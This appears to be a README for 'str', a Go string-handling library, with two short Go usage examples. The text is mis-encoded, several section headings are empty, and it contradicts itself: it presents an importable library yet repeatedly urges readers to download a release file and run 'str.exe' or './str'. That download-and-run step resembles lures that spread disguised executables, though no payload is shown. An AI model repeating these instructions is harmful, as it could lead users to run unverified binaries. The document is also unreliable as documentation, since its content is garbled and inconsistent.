romjan

๐Ÿ› ๏ธ str - A Simple Tool for Easy String Handling

๐Ÿš€ Getting Started

Welcome to str, a fluent string toolkit designed for Go. This tool mimics the ease of Laravel and provides you with strong helpers for handling strings safely and efficiently. Whether youโ€™re doing text processing, working with unicode, or need utility functions, str has got you covered.

๐ŸŒŸ Features

๐Ÿ’ป System Requirements

๐Ÿ”— Download & Install

You can easily download str from our Releases page.

Download str

To install, visit this page to download: str Releases.

๐Ÿ› ๏ธ Running the Application

After downloading, follow these steps to run str:

  1. Locate the Downloaded File: Find the str file you downloaded, usually in your โ€œDownloadsโ€ folder.

  2. Open Your Terminal or Command Prompt: Access the terminal on macOS/Linux or Command Prompt on Windows.

  3. Navigate to the File Location: Use the cd command to change to the directory where the file is located. For example:
    • On Windows:
      cd Downloads
      
    • On macOS/Linux:
      cd ~/Downloads
      
  4. Run the Application: Type the following command and hit Enter:
    • On Windows:
      str.exe
      
    • On macOS/Linux:
      ./str
      

๐ŸŒˆ Using str

Once the application is running, you can start using its features right away. Below are a few examples to guide you:

Example 1: Simple String Manipulation

package main

import (
	"fmt"
	"github.com/farukmsword2/str"
)

func main() {
	result := str.New("Hello").Append(" World").String()
	fmt.Println(result) // Output: Hello World
}

Example 2: Rune-Safe String

package main

import (
	"fmt"
	"github.com/farukmsword2/str"
)

func main() {
	result := str.New("ใ“ใ‚“ใซใกใฏ").Length()
	fmt.Println(result) // Output: 5
}

These examples show the ease of using the fluent API to handle strings, whether youโ€™re appending content or counting characters in different languages.

๐Ÿ” Exploring More Features

str provides a wide range of functions for various string operations. You can:

Refer to the documentation in the repository for an extensive list of functions and how to use them.

๐Ÿ“– Documentation

For detailed documentation on each function and additional examples, visit our documentation page.

๐Ÿค Contributing

We welcome contributions from everyone! If you would like to help improve str, please follow these steps:

  1. Fork the repository.
  2. Create a new branch.
  3. Make your changes.
  4. Submit a pull request.

Your input is valuable to us, and together we can make str even better!

๐Ÿ› ๏ธ Support

If you encounter any issues or need assistance, feel free to open an issue on our GitHub page. We are here to help!

๐ŸŒ Follow Us

Stay updated with our latest releases and news:

Thank you for choosing str! We hope you find it useful and easy to use. Happy coding!

Download str again to get started today.